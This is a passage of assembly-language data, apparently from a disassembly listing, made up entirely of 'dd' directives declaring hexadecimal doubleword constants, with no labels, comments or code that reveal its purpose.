		dd 7A56D320h, 0ECED0290h, 0A1906A47h, 0B5CAC084h, 7D687200h
		dd 0FE70C09h, 0C6B8216Fh, 0C107668Ch, 775A87C7h, 4F7D0008h
		dd 1D2CBE3h, 0DF10005Eh, 98A6DD85h, 0DA017838h,	4FEA3054h
		dd 7089262Eh, 0DC30CE04h
		dd 97DE597h, 70E750Ah, 0EF60F06Ah, 0B12A779Dh, 56005684h
		dd 76F797E9h, 604B5810h, 0A0EFE837h, 30905F07h,	0FB8059E6h
		dd 0B89154BAh, 1A510069h, 8C01F6D6h, 0AE00EE6Bh, 9FB65D37h
		dd 7DE87E2Ah, 4ED57180h, 0D884E872h, 9CF7DB7Ah,	0A1066708h
		dd 18F8EA58h, 0F968868h, 3003A4E6h, 0EA86BA67h,	0C2C104E2h
		dd 91372CCFh, 0EA27BE78h, 90EEF304h, 5B19EA70h,	7509CE16h
		dd 0A2912437h, 0B833ED78h, 0A6231448h, 7145805h, 14988F84h
		dd 8D008A40h, 23184D14h, 415C7118h, 0C08CBA19h,	8BB0E2D9h
		dd 0F900B94Ah, 0A10D6017h, 2E7D1985h, 25300855h, 3B918C97h
		dd 0F9731C80h, 0EB3E1681h, 0C0793147h, 49BE88BBh, 0F6B0D13Dh
		dd 0FFE9B9C4h, 94E1CD09h, 0D2F002B4h, 9FE088Fh,	0F0149A47h
		dd 48F40724h, 227DA08h,	0AE3318DBh, 3BF38048h, 5985EC05h
		dd 6499CAD4h, 24345EC0h, 8B9C9A26h, 68315B04h, 0A101F3BAh
		dd 0B232439Ah, 93C87355h, 0EA7B075Eh, 0A2227504h, 0F0CAE8B6h
		dd 0E8633C87h, 0B0AA821Ch, 0E38348h, 2F9FBCD0h,	2797172Bh
		dd 0E4745E80h, 32D92E6Fh, 9F0AF4D0h, 0B45940A7h, 3FC8DF18h
		dd 0E377E560h, 1679B5F8h, 704F2528h, 0CDD6C0CCh, 0A2F3EA81h
		dd 94300B43h, 0C23457ECh, 0E800188Dh, 0F46993D2h, 0EC095813h
		dd 16D47310h, 50205770h, 4AFB205Bh, 0BB1828BDh,	911CEA00h
		dd 5A4E6C3Bh, 3A18C099h, 92F2ADAEh, 0ED9EB605h,	54224AA2h
		dd 0A46E77ABh, 27EF0C08h, 850246Ch, 65174414h, 890B4h
		dd 0A35363E2h, 3ABFD0AFh, 0B80AD2F2h, 9C41E0B9h, 35C6D80Fh
		dd 0C42F4AA0h, 34009B23h, 0DA44EE08h, 1369B206h, 3D05805h
		dd 7F4A79B0h, 0A956F6C0h, 53A3F404h, 6CD360D6h,	0CE441DEBh
		dd 0F21137C8h, 0A0A04673h, 0F0670E4Fh, 5E479900h, 1B684E58h
		dd 5B431F0Ah, 0E9CA0091h, 553221D4h, 350D38h, 9EC741C5h
		dd 10E352h, 6CD35126h, 5547645Eh, 4168C918h, 32C4E748h
		dd 0C8194BC0h, 0ACEC610h, 0B3516CAFh, 0CB590110h, 0C44C5F0Bh
		dd 8C76B467h, 0B2E518C1h, 0FF053A77h, 6DB6D881h, 6F084980h
		dd 75E60419h, 0EF423C07h, 7A463D85h, 972A0021h,	6096BF1Ah
		dd 91005578h, 8DDC891Eh, 73D1676Ah, 11A500A8h, 0DEA4C15Dh
		dd 5E005518h, 0D958DB4Eh, 0C72A4FDAh, 63756878h, 19D13CFEh
		dd 19661E6h, 409070h, 16BAD3h, 514C4FB6h, 0EC068211h, 43F88C10h
		dd 79125802h, 209E8A91h, 0FB50723h, 8E40EC96h, 76A4D817h
		dd 0FEA00D60h, 2C767CFh, 0DF65837Eh, 9CAFBFBAh,	89D16B80h
		dd 7800C9C8h, 4268EB8Ch, 1E866A32h, 434611A0h, 0F6AF3623h
		dd 0CD5BB9B8h, 7E02AC19h, 1421CB58h, 0C06AF400h, 8E6202FEh
		dd 61B765DBh, 276BA8A0h, 0A5002D0Dh, 19D81A0Ch,	0E8FB0910h
		dd 1267B51h, 4BA391B8h,	9F4D58C8h, 3D471850h, 0F8937B6Ah
		dd 68490047h, 36898221h, 620C8DD8h, 89DC054h, 8321C055h
		dd 971E898Bh, 9E03E007h, 0E4C61D0Eh, 22385841h,	5837647Ch
		dd 898560FDh, 65D82331h, 861B5611h, 0C3F0208Eh,	0B43FE394h
		dd 47790710h, 2C25CADFh, 2C3AA40Ah, 2D465Ch, 3CC1B9F3h
		dd 2CFD738Dh, 193172Ah,	0F1966830h, 6E802448h, 86023100h
		dd 5C25DCD7h, 8146FCFh,	380D21D8h, 54C0200h, 0DF574D62h
		dd 0AF65005Bh, 8E4576DCh, 0A828FB77h, 0EEF5D43Ch, 5E566F40h
		dd 0C09368C8h, 0D7830236h, 47222446h, 23D0801h,	9DF8B0B8h
		dd 7BCA90C0h, 0A0043AC0h, 40F0FB00h, 0B3E76D98h, 2B1BB500h
		dd 4C5C49EDh, 82C41061h, 0C872284Eh, 115AF937h,	69AC0660h
		dd 0B0D0CDFh, 4209C745h, 0FE9821C0h, 1F199ACh, 0CA92D812h
		dd 5054408Dh, 0F2268BA4h, 114C3400h, 0A6FC1659h, 99500024h
		dd 25FB9146h, 0B6725ED5h, 0C94FDC30h, 507C9371h, 16E8837h
		dd 6B8D17Eh, 4466FADCh,	5714018Ch, 3954E3h, 49DAA4C2h
		dd 0D064F80Ch, 303F3263h, 0DFFAAC07h, 4B221546h, 0ACFF8700h
		dd 6F2E5543h, 3208248Ch, 0B33107E8h, 0CC2DC98Bh, 3891A070h
		dd 3E239B43h, 6BAC0538h, 0A038FDDFh, 0ACF83E9Ah, 0BAFDA701h
		dd 300D1D51h, 4E442434h, 52D42A55h, 0EFC12CA8h,	0CCC406A5h
		dd 49C12170h, 249BC33Fh, 0DDCAA084h, 92208202h,	82EC3531h
		dd 223C46D7h, 1097C3Ah,	770A3802h, 0F0232748h, 2C387B30h
		dd 9C1B0097h, 0C25545ADh, 78446903h, 7911E01Dh,	8C60A98Fh
		dd 0D4E72E2Dh, 0C8512C32h, 22BCE1D1h, 61DAB052h, 8D006A90h
		dd 4B511CEBh, 68499EF4h, 0B946D8CCh, 196461B7h,	30D9B93Bh
		dd 0D500FAF2h, 7C9714CBh, 0C4B1A5h, 46BAB793h, 8CE88F3Eh
		dd 794DAA15h, 44EB3AB0h, 62DC1AD8h, 0B84E7876h,	47B2D20Ch
		dd 0C0A030h, 4DA282C7h,	4BEA858Ah, 0D2E55B06h, 0EC20502Bh
		dd 9A5090D4h, 7DC21604h, 23783E0Ah, 9590076h, 0AB9A391Fh
		dd 0B3501306h, 995055FFh, 525380F0h, 38C67C6h, 0E7F9700h
		dd 429554FBh, 69D1766Ch, 600EC988h, 700C4E43h, 0D1056FF2h
		dd 0F6C47BC0h, 3AF8D27Fh, 3A2370h, 0BF402291h, 0BD0A9BD7h
		dd 0D8B6989Ch, 77B4AA40h, 647806A9h, 0C1DBC2DFh, 58923703h
		dd 152B3C3h, 0D2105110h, 25B7DAh, 51B0C4E3h, 0AC4EA43Eh
		dd 7300639Fh, 0B3E05A7Dh, 0A54300ECh, 0E413EBC1h, 7464BCD4h
		dd 70808858h, 0FDCAFC72h, 70605CE5h, 899F9h, 22EFC6A4h
		dd 0ED01D4DEh, 49B88EE8h, 0DF4349Bh, 62C10054h,	55861FE6h
		dd 89311699h, 419860F8h, 9CC08F02h, 3F58E109h, 0C7F301C4h
		dd 0CF35CC0Eh, 98266570h, 0D0910579h, 435347C2h, 3350D384h
		dd 39FF4015h, 3C0500B4h, 0CD5F0E0Ah, 0DF79DEh, 3F8BAE9h
		dd 0C99BB619h, 315D940Eh, 104729CBh, 0C3CE7038h, 7B6D3041h
		dd 794C0878h, 0C2D48128h, 5470CA10h, 0CCCE3938h, 0D705BC49h
		dd 15D99EBh, 6DC0788h, 0D188075h, 0DF87C6C7h, 38CE5CA9h
		dd 8994C9F4h, 8B6B1120h, 0C0280094h, 1E46F513h,	185B475Fh
		dd 0C2618836h, 0D1B89854h, 0B3517809h, 471C8491h, 50C17FC6h
		dd 40D88C4Eh, 0D7167859h, 4620FBh, 4156F8h, 706C6EB6h
		dd 0C35B64A7h, 9151F100h, 66ACD0A1h, 0CAD11260h, 4740802Bh
		dd 38D259BEh, 0F036380Fh, 7C9BA514h, 0A6AD7D77h, 93D1083Ch
		dd 0FC3A2814h, 0F82D9003h, 28352666h, 0E8BC7F60h, 5A9B2AB2h
		dd 0D9AC99C4h, 1C11840h, 0A03E01DAh, 506AD456h,	0BC8CE584h
		dd 808C3D48h, 33E1DACAh, 5CF84868h, 3ED0780h, 5900D461h
		dd 0D01E5DA8h, 5AD346Dh, 26DA98A0h, 97540465h, 41E0223Eh
		dd 80509D84h, 5ACD891h,	0F31758D6h, 4F840B50h, 2DAF8810h
		dd 0FC9ED80h, 55EB54E6h, 0D35880B8h, 0C649624h,	40A6E942h
		dd 0C757F880h, 0A0F5C6A1h, 402CB669h, 24FEA07h,	0F20E575h
		dd 252A1050h, 1490F3B3h, 684053F0h, 0BCFF0E83h,	0A1A05B55h
		dd 5E2D25AEh, 213CDD31h, 94507EB7h, 12D915h, 44809E7Ah
		dd 8A7BF402h, 0A73ED30Fh, 0E93B6F8Dh, 7A808286h, 0F85D6058h
		dd 12324A29h, 909C0570h, 20081855h, 0A2844224h,	0A01C644Dh
		dd 836E1E20h, 5BD83810h, 8EC9F980h, 371534C8h, 8053F8h
		dd 863691B9h, 136E2E5Ah, 9F78443h, 7C119578h, 4F858D1h
		dd 51883E40h, 99ABC5D7h, 0FC9B86D8h, 0C00E183Ah, 80582206h
		dd 0CD50C966h, 2BC33056h, 0CA4A9751h, 0DC78E402h, 4051FDACh
		dd 0CE6BB6D0h, 0F6A30721h, 0C7D9B031h, 0D1AC504Bh, 68B06EA6h
		dd 1898B8FCh, 92E8973Dh, 0F81227B9h, 440C1805h,	48879837h
		dd 0A608547Ah
		dd 53204502h, 27B812A4h, 9CE3C110h, 0AE18BB30h,	0CF45F4DEh
		dd 4A906FC1h, 0D8206035h, 81CD40E4h, 0B4845490h, 84BEF0B9h
		dd 85D83589h, 8A008238h, 0D7205789h, 50B6604h, 91EA6D61h
		dd 0C8348B73h, 0BDD6C044h, 8B003D19h, 0C903F2E2h, 99D7CAD0h
		dd 0F0450600h, 0B400D157h, 0F816E1D3h, 0D62D47h, 0AFB52199h
		dd 52F9C5F1h, 1ADC59C0h, 29767E2h, 0CA96F885h, 98827AB1h
		dd 0A48307B6h, 83BF3505h, 100C746Eh, 0E15B46FEh, 44220E3Bh
		dd 0E8806717h, 0B9E46CCAh, 0A0AE1920h, 5D17EA8h, 32C338BAh
		dd 6FFC900Ah, 0B218DF61h, 0E7B841AFh, 0D0085DB4h, 0C38C6726h
		dd 0A91E4DF8h, 8040EB36h, 1ED68235h, 57460E15h,	0A64FFB92h
		dd 2B6F8FE0h, 0B22AE532h, 650B88CFh, 223F98DCh,	9751A70h
		dd 58E0AC07h, 0D719DA07h, 0A492A484h, 0D9E871C2h, 0BEC81FBEh
		dd 8BC9005Eh, 8CE781AFh, 28C04208h, 63A7CF7Eh, 0A8D12648h
		dd 6B6A090Ch, 4045644Eh, 30FC5C42h, 32118986h, 629D6DD8h
		dd 898F8705h, 94C1DE24h, 0C003539Fh, 0A2ADFED0h, 4E4B8B0h
		dd 0C8CAC8B1h, 0C95AA409h, 0F2ED34h, 78C4E2FEh,	83C574Ch
		dd 166F3688h, 0BC7C04CEh, 8E801D48h, 0C31D5BDBh, 78426C17h
		dd 0C0054E29h, 0A8430215h, 42FC4078h, 509E115Bh, 9CB31674h
		dd 2B10913Fh, 165002Ch,	5C517A6Dh, 0F40854E9h, 0A994D59h
		dd 483CA560h, 61D9670Eh, 48527465h, 2C94DB4h, 36CC240h
		dd 194C5163h, 195C005Ch, 26DC0666h, 20554E73h, 989B5F30h
		dd 0F3D4048Ah, 33898360h, 3075D826h, 8C8470h, 95BF0189h
		dd 0A41DAE45h, 0C061E400h, 0EA9E85EBh, 0E52C027Dh, 0EF01AF1Eh
		dd 0D408485Bh, 0CB42823Ch, 3091F5Eh, 4B5F8C9Ch,	0C5407190h
		dd 0B7781042h, 98A9C060h, 0CF8A7E72h, 66DA7A01h, 0A97F8D95h
		dd 31FF8470h, 0D028778Eh, 8A5084B9h, 0C4425564h, 0E0949ACh
		dd 0BC454AF8h, 9950400Ch, 794F30A2h, 3C969CDEh,	67F67E50h
		dd 6E0B1176h, 645697C3h, 6B362410h, 2C4F008Ch, 8C1EFE6Ch
		dd 600F7C4Eh, 40C86172h, 0E03896ABh, 4382F13h, 16709A74h
		dd 41D15082h, 87228F8h,	0CC9ED216h, 0DA1FDF54h,	0C0F844CBh
		dd 1EA8ABBEh, 40E44678h, 0CB215133h, 0F4B965AEh, 0C453A611h
		dd 0EF302CA2h, 90CB00D2h, 0C7036B92h, 551835E8h, 3E4969D5h
		dd 19CF667h, 4F83F7C2h,	624CC4F3h, 5461088h, 0C2962C0Bh
		dd 0B189BCA4h, 0B21C2014h, 3AFC6D52h, 7C914028h, 0D8FB5DE6h
		dd 0DF439F01h, 30C82EC2h, 8E32614Ch, 2A0448E7h,	18EB745Ch
		dd 56B10C2Eh, 0D270BADDh, 0BC0430A2h, 260E38Bh,	0E6FB196Ch
		dd 1064317Dh, 41A942Bh,	9CD350F8h, 0DAF4E03Bh, 0D4337B29h
		dd 0D10C13h, 0F05583B2h, 0A72A8480h, 0AEFF87Ah,	4F60FBD0h
		dd 7BD88180h, 38726D7Eh, 289B3486h, 4DA210B3h, 25338232h
		dd 2C8823Ch, 0EB570072h, 70CF5408h, 2E3138F9h, 8F3000A0h
		dd 20EF0A90h, 250902F6h, 273EF0B8h, 0C2D03774h,	0B17A7Fh
		dd 712C1DA9h, 0A2EAF14Dh, 6A4BF09h, 0FF6C0236h,	77DC4056h
		dd 391C2693h, 573B4288h, 5D4ECE00h, 0A1D02688h,	310B18A8h
		dd 1316EF2Ch, 381FCB1Dh, 0A89057D7h, 3D84DD86h,	7880DA32h
		dd 12BEC334h, 1DE0A6DBh, 0A800DC72h, 7FBF5149h,	3FCE0F4h
		dd 0C320D1F6h, 5CF078C2h, 35392D75h, 0CA21DA5h,	2E8E9A40h
		dd 16D2B9h, 3868D4A1h, 0E19046BBh, 71C52207h, 0B48EB752h
		dd 0E4BA0008h, 0C69D7964h, 5C90772h, 60D6BC04h,	3674CBEEh
		dd 0C8B58B06h, 7938D0h,	0FBF3ADC0h, 1AA29CC4h, 0B9003476h
		dd 313EBE10h, 39C52078h, 7050DB9Fh, 42C20C59h, 3440C09Ch
		dd 0B7A0A300h, 94B639EAh, 0CC86FC30h, 8521A908h, 0AB79800h
		dd 0F491B83Fh, 77CB060Dh, 50D21A9Fh, 46453A18h,	7C16B99h
		dd 79EFA7F8h, 1998C63Eh, 0EDC9521Ch, 16BB4841h,	9887829Dh
		dd 0D0F7253Fh, 363D72D7h, 50CE550h, 0F8ADF030h,	1A48FCBDh
		dd 10C1DBF5h, 0E0169802h, 0E378AC00h, 0C3A9C0DAh, 6A7541E2h
		dd 502C490Eh, 8F3FEC7h,	81213EDEh, 0DCDB7580h, 0EC579D95h
		dd 4B5B7A0Fh, 0C200702Ah, 4AD4227Bh, 0BF609CB4h, 7061059h
		dd 72DD0052h, 0A1F6F91Dh, 0C000058Dh, 0B73D114Dh, 0CE941C8h
		dd 54157D39h, 1E054810h, 35D095C3h, 6E00D45Fh, 5FBB3D03h
		dd 0B37419E6h, 80280887h, 375EF21h, 3F60AD5h, 0C7CC6743h
		dd 36B0937Dh, 98A5A851h, 0D0EBB02h, 450C1480h, 1885ED3Eh
		dd 0F2F53349h, 0DE1BD31h, 1DE90079h, 0A8A15234h, 0A8012322h
		dd 92BB811Eh, 0D9F9C7EFh, 46CCF042h, 89D1783Ch,	2FA7EC60h
		dd 407B9829h, 8401C900h, 54DA20D8h, 1FCBCD2h, 16F7A33Eh
		dd 607605A5h, 0FBB8326Bh, 0F04EA900h, 39E1D8B4h, 692E6045h
		dd 0C65B98EEh, 75407963h, 1CA810CEh, 25490FE1h,	0E4709854h
		dd 0EDA41C15h, 823B80AFh, 48133832h, 3C481274h,	0EF76107Ch
		dd 0D1A26306h, 7200C137h, 0DCE51A8Dh, 14749A23h, 0F6703067h
		dd 0B9C6DA18h, 0FF00A658h, 2D9D1BF9h, 0F41DC962h, 1378C0B6h
		dd 0AF6B0246h, 414C549h, 24BD553Ah, 0C7F80080h,	83C62810h
		dd 0F5CF1898h, 0E3D7958h, 0C4976528h, 20162926h, 73344E81h
		dd 4424772Ah, 0FFEC0098h, 0A6F0F199h, 9CCF9C6h,	5382184h
		dd 2124FFE4h, 58F3C157h, 840820B5h, 9890C281h, 915D82A2h
		dd 0C7F70055h, 1084C96Eh, 2C2ECF4h, 754D37E4h, 82684A59h
		dd 0F6BA518h, 0CA01F582h, 6CB72442h, 1FE580BDh,	1C7C5AD0h
		dd 0BBD10499h, 7915536h, 30FC7A29h, 977900F9h, 655217F8h
		dd 0BB15267Ch, 50C8F2DAh, 9C481B68h, 0E1A4845Ch, 8CE204C8h
		dd 6D753A04h, 0DB626449h, 75428820h, 16CE1E6Fh,	691F804Dh
		dd 0DF4B65A6h, 50737F32h, 753E30E6h, 44496911h,	8480D888h
		dd 8EAC7546h, 254939Ah,	0A75FEDE3h, 2C4D923h, 91EC8531h
		dd 0C881A274h, 884D5FEh, 49CAA11h, 806592B4h, 87BB408Fh
		dd 2044B4ACh, 3721FF4h,	9AF201D2h, 41547DFDh, 0C834DCh
		dd 0C5DC3F39h, 6EDCF81h, 0E9BC9B1Ch, 0D0D1BB00h, 51FB6F60h
		dd 702C00FDh, 5059A9ADh, 87389B85h, 0E93770C2h,	25020812h
		dd 0DAAEC0FBh, 4C2B0042h, 580F6CEAh, 0CD0F013Dh, 0FCD4C8h
		dd 858DD2B7h, 16FA0EE9h, 57036A06h, 470E03E8h, 44C35F20h
		dd 0B2AF7C89h, 211C3095h, 3C35747h, 99283625h, 1990F9E5h
		dd 0F18504Eh, 0B9270583h, 0C02418D9h, 0FB386C0Bh, 1EBF0F80h
		dd 0C78950C8h, 0A0141CB5h, 150995FFh, 0B9660CC0h, 32831619h
		dd 519A10C4h, 0E4C35930h, 224C4689h, 5141001Bh,	393B0CC3h
		dd 0C1172A19h, 20FBD476h, 8BF315C4h, 0ABFBB000h, 0DC562DD5h
		dd 39755C6Fh, 0E9663D06h, 990F2B0Ah, 206CACE8h,	0F60E0B10h
		dd 8B5F0039h, 31BF66C0h, 0BD1B8391h, 81B630B1h,	12880975h
		dd 74961AE1h, 346D18BAh, 761D3B8h, 49858958h, 9D8D2582h
		dd 8C80B73Ah, 585BD3FFh, 174122ACh, 2911200Fh, 0CEF90B4h
		dd 0C909E9F8h, 0B30E003Eh, 929EE75Dh, 90D01528h, 0E5623ACh
		dd 8944C35Eh, 20166274h, 83C35646h, 89C8C20Eh, 82294C9Dh
		dd 62BD1081h, 726F00F9h, 840F6165h, 6839D9B1h, 0BB211950h
		dd 914489C8h, 5040C02Dh, 11008BC3h, 98F8E689h, 0F2165147h
		dd 6193095h, 0CDBD3174h, 853381A4h, 105081DAh, 0C8FB170Eh
		dd 0CA324A38h, 0C60C032Eh, 49005985h, 184F6844h, 14FF96A3h
		dd 301145B5h, 423B1312h, 0D88BD053h, 94D32CB1h,	91436212h
		dd 0CDE8404Ah, 8371442h
		dd 0EB410C20h, 47C526F7h, 6610815Bh, 0AAC5DF81h, 0C4CBA520h
		dd 1F0C8522h, 25F88B87h, 8083A7AAh, 0D283ACD6h,	5DCD4105h
		dd 0C7083B16h, 251D7985h, 0C3C8A7Fh, 332E7EDEh,	96BCF96Eh
		dd 0F680FB00h, 1DB589DDh, 0E964C522h, 52334874h, 91C35AC3h
		dd 15185489h, 15524288h, 0A7409EC3h, 342235D4h,	803EB532h
		dd 88C62FC1h, 576E1D08h, 5908110Eh, 1BBE2FE9h, 0DB0D138Ah
		dd 140B000Eh, 0A7AA96BAh, 301C98Ch, 0FB5048C2h,	6491CB0Bh
		dd 18293BA3h, 528E044Dh, 11EECC53h, 0D0C6599Fh,	0C82DD685h
		dd 5DC355F4h, 6C8991C3h, 4501AD4Eh, 918AC355h, 0D17F20A4h
		dd 812804E1h, 3284585h,	2008FEFFh, 8817095Dh, 0E9942A84h
		dd 60F80075h, 768901E1h, 0BDDC000Ch, 0D8BFB08Fh, 7A010B3Ch
		dd 0E9D249ECh, 3092111Ch, 0C13B0260h, 0FF41EA8Fh, 618183D1h
		dd 503E9h, 0F6F1817Fh, 799589B4h, 9220B69h, 3B4F9836h
		dd 5F9F0068h, 55DA7197h, 66005275h, 314EE7CDh, 993C17CBh
		dd 1FD4F9ABh, 0A25ED4C8h, 35EF02ACh, 136CA42Ch,	68151E43h
		dd 0D29C04C0h, 8EBD5500h, 0F08318A6h, 0D8B102AAh, 3F687EEEh
		dd 0E80AC98Eh, 0E1354089h, 0C90EADBCh, 675F0422h, 0B360FECAh
		dd 1DDC3631h, 0C1BF9ECFh, 5A40D953h, 4EA526Ah, 0C6978329h
		dd 0F51826C5h, 0BDD51506h, 3585090Ch, 81F1E90Dh, 639BAB31h
		dd 6420B139h, 482090C0h, 17FCCB1Fh, 0B6E0A8Ch, 12A16B9Ch
		dd 8B76435Ah, 7CAEDDBDh, 0A0956CFh, 58BC9D29h, 8C15EC0Bh
		dd 8B89AC14h, 4B3134CFh, 19C8588Eh, 8905CFC0h, 0E88DE252h
		dd 14A528BDh, 0CAF38329h, 53319121h, 0C3725B18h, 415C892Eh
		dd 1534370h, 2FEAAC3h, 0D0F7C780h, 9090567Fh, 0CD59EA09h
		dd 0C7F2B25Ah, 60164471h, 1ED4B76h, 0DABA6050h,	4765D330h
		dd 911334C1h, 30016ACDh, 196F811Ch, 0F6002CDh, 80064489h
		dd 820D29A6h, 4FF98305h, 0D7AD61ACh, 10ADEC41h,	0F3FF6880h
		dd 13665F20h, 2CD21ABAh, 0E88937C6h, 0AC00A532h, 0B6CD4F7Fh
		dd 0CF006957h, 0DA2D9145h, 0A059C799h, 80F9B784h, 4DA4800Fh
		dd 0C424E120h, 52651C4h, 111425E9h, 0D2042C31h,	0E847584Eh
		dd 0D123C00Dh, 978FDAD3h, 623C6100h, 284ABAE0h,	205098BDh
		dd 5A31033Dh, 312FD050h, 62129D5h, 30A0BC2h, 0F08A4268h
		dd 3346AE41h, 301CF2E6h, 1A00C1E6h, 0CCFBAFFh, 1AFC4EA7h
		dd 737D9529h, 0D2EC891h, 16883D4Bh, 6426C0C0h, 0AB8848BFh
		dd 72E9090Dh, 91F20121h, 160C051Ah, 94E9CF5Eh, 135F808Fh
		dd 55A28302h, 583B8D00h, 37BFF599h, 0DBE28B4h, 5C36D48Ah
		dd 8C18F8h, 2820BA96h, 1960B953h, 0AD036728h, 0F702A929h
		dd 8812C90Ah, 4A76F1CEh, 8515AF8Fh, 19BDC264h, 106A0009h
		dd 3C24E680h, 52292D0Fh, 3E554164h, 24A83C8h, 9082508h
		dd 8E9F36E9h, 0FE861691h, 9522A0E4h, 0F5ACC4B5h, 0C5C8A0Fh
		dd 77E99D01h, 810F2A50h, 4D95106Fh, 8D890405h, 508A1039h
		dd 0CE28E858h, 965279A4h, 1B4676E9h, 0BB2D7800h, 9BEFCB69h
		dd 0BF661705h, 0C524902Ah, 4A98BF37h, 9550925h,	29092B14h
		dd 912279B5h, 0D7E8A4h,	53036833h, 0B3F489DFh, 23FAC300h
		dd 4995EE71h, 0CA6B04E9h, 0C148F7ADh, 40D4D03h,	0B5317DD0h
		dd 0A50F92D1h, 5C032646h, 0F8001D46h, 6CDA9E1Fh, 0A22CE8DFh
		dd 9509983Ch, 64182975h, 0FECC3906h, 4719903h, 2AF7A6E4h
		dd 64A11B7h, 25298501h,	0C9AB9936h, 17117697h, 8768D381h
		dd 247349C6h, 9DC82EF0h, 0C5B5800Ch, 7E21B031h,	40C8F902h
		dd 4E753C62h, 4CD150ABh, 0F92F992Bh, 46181Dh, 687FAFBEh
		dd 0A4C69E73h, 39F5F150h, 0B0482B42h, 68401D3Bh, 67E18070h
		dd 752EA0D5h, 0A31A04DDh, 8E036A07h, 0C718886Ch, 703DC16Bh
		dd 59C020D2h, 0CDFC2640h, 63AE294Eh, 0BD010400h, 0A8B42281h
		dd 4D6864F9h, 0F5C687C0h, 0D6108825h, 1155838Ah, 0BA194C08h
		dd 14658A7Ah, 176018E4h, 2705C633h, 0FFF8832Bh,	4BEDB04h
		dd 9490AE12h, 716A58h, 4733C637h, 63FC1642h, 4485FF12h
		dd 94B2714h, 6A351DB5h,	20C041Bh, 3C184C1h, 37870B2Dh
		dd 4143D07Dh, 7B1EC23Ch, 1000BEFh, 0E17498AFh, 9B77264Dh
		dd 243B075Bh, 8BE90F5Bh, 7E94410h, 0BAF50BC0h, 379DA8Dh
		dd 0D0FFD973h, 3810CAB1h, 86581E8Eh, 0FEA1E20Dh, 5FD301Eh
		dd 0BA406089h, 120361F7h, 940CB18Dh, 9DBE0BB7h,	124766A9h
		dd 217FD8C4h, 0F71D7AD8h, 12801511h, 0CDB58992h, 60763155h
		dd 51821D44h, 9FF241Bh,	4D460A0Dh, 19C486A5h, 0D9259B60h
		dd 0F2E2D114h, 798534AAh, 5328DDF3h, 59FB24C3h,	959D86E8h
		dd 31942623h, 11211D69h, 68C0801Ch, 0CF970EAh, 0B3A6CB3Ah
		dd 164C55EEh, 3596999Fh, 2B287965h, 83F181C0h, 1D4A62C9h
		dd 833A4724h, 8A071A23h, 12C1D225h, 1372B3D7h, 939F3FC9h
		dd 22801A91h, 110F9B47h, 0C48C8532h, 0CC574A35h, 5C235C3Bh
		dd 92962C20h, 410BB748h, 80119426h, 811BA58Bh, 65FF6650h
		dd 0C195151Ah, 0F8010298h, 0CD2058E5h, 8EE256A2h, 0B3C7EF07h
		dd 0F9680245h, 2B348603h, 1A18621h, 8C8D6507h, 9D28B5FBh
		dd 3C135310h, 797A16FCh, 497A81Ch, 0A150B673h, 30CFA4FEh
		dd 41C6842Ch, 16A2419h,	66CB1651h, 3D202290h, 0C2810222h
		dd 747A6025h, 54568A84h, 215C75A2h, 4216A521h, 9DD96A94h
		dd 20FDC701h, 0F589812Dh, 3E441916h, 0B99D1431h, 0CBA5F724h
		dd 0C01DC898h, 0E2BF461h, 9B3FD672h, 0B5A6E264h, 360AD845h
		dd 143122E9h, 602F18ACh, 1D0220E8h, 88E149h, 0E6B1B0A1h
		dd 0FFBF0F10h, 0B58B5A09h, 616AA05Dh, 558D3350h, 0E9239065h
		dd 92313700h, 0E6C739F1h, 5C293E93h, 0B927F480h, 440C9Eh
		dd 0F5F839A8h, 5EE56CC8h, 0C5D06909h, 684F322Eh, 9396EF02h
		dd 0BF8B3D4Eh, 7CB9DB2Dh, 0A565EB8Dh, 3E604E42h, 0EA05CEBh
		dd 88C3C94Ch, 57EA7940h, 0DB0582ADh, 0FCB37F40h, 0BD292920h
		dd 0F044075h, 80328E48h, 0D91ADA81h, 34C498Ah, 0A76E97h
		dd 7C0E7143h, 0ECC75A48h, 74E925F8h, 0F2D780DDh, 652489C8h
		dd 90A79A2Ch, 499D29CEh, 61760A50h, 86A72362h, 0B9F4D103h
		dd 2A5D850Ch, 0BAB8571Eh, 5F810971h, 0E9C82284h, 0E2E9D562h
		dd 7DAA0007h, 0DFD97B44h, 12B1F8FFh, 4E5CB58Dh,	0E5E429DFh
		dd 9A5E880Eh, 527AA94Fh, 4E6ADF00h, 1ADBD0Bh, 0E904CB92h
		dd 629259E6h, 241DF481h, 81D0EB9Fh, 0B0DEA1EAh,	5170A87Ch
		dd 0F982D250h, 0F8E42E45h, 0E9F32D8Bh, 9233EDA0h, 123942ABh
		dd 5BDE29B5h, 3BC18005h, 6507EBB2h, 80544438h, 4D13A069h
		dd 737D0124h, 4082831Ah, 0A4231502h, 92EAF1F9h,	80CD6240h
		dd 9EB17A5Ah, 0F943B924h, 0D9C81FD9h, 5F85F5Eh,	0F3CC1911h
		dd 3018B2F5h, 0F60077F2h, 0BDB9AB80h, 9A66B370h, 83E570CEh
		dd 0E323D8B1h, 53A493FCh, 12F58E18h, 0E589031Fh, 0EB5043D0h
		dd 402006B0h, 63861704h, 0FE8A05Bh, 8A117F00h, 0A1530D14h
		dd 6E840509h, 829030BCh, 0F60D8B9h, 5F58FC1Ah, 0ED122246h
		dd 224352FAh, 0A17C06E8h, 3EBE4704h, 0C845F80h,	0ED503E0Bh
		dd 0C66BC040h, 6A278BB2h, 2CCB0460h, 0F8AEE4E5h, 0A902F4F9h
		dd 0A8F470AFh, 94486350h, 5341C852h, 1BE08900h,	8372A7D0h
		dd 6C6268D2h, 14465C38h, 0A93C2C34h, 782B8AEh, 563873Bh
		dd 68AE93C5h, 460B1882h, 20534B9Dh, 34C62E55h, 6483EC00h
		dd 3D22D845h, 0B86F9A13h
		dd 5E929625h, 6D031946h, 51E4950Bh, 0BE95309Dh,	2000AC9Ch
		dd 3AA1322Ah, 9851E7A3h, 890AE690h, 817E88FCh, 65F91330h
		dd 0E97204C1h, 48C1CA15h, 0F6CA2BAAh, 1920C528h, 1740FC1Dh
		dd 444B518h, 6421E1AAh,	0E5FA5D82h, 0DC46961Ah,	3D1C3F98h
		dd 299E832Eh, 0F98F5CC3h, 3B72990Fh, 2EDF0E61h,	118E598Fh
		dd 5DBA0005h, 3D32AEDDh, 833AA08Ch, 1DDBA9Fh, 1AB5CCB9h
		dd 0C223E975h, 9D8CE7E5h, 543D5B2Dh, 8A7E2198h,	1D9D7981h
		dd 0B866000Ch, 6152274Dh, 8802071Ah, 0E9642E21h, 48A262DDh
		dd 1D806AE9h, 0DBBF29CFh, 5FBA6F03h, 0B01B2D58h, 24A787Ah
		dd 4D8FD781h, 197113E0h, 80B95CB2h, 0D1C9813Fh,	5066C3C0h
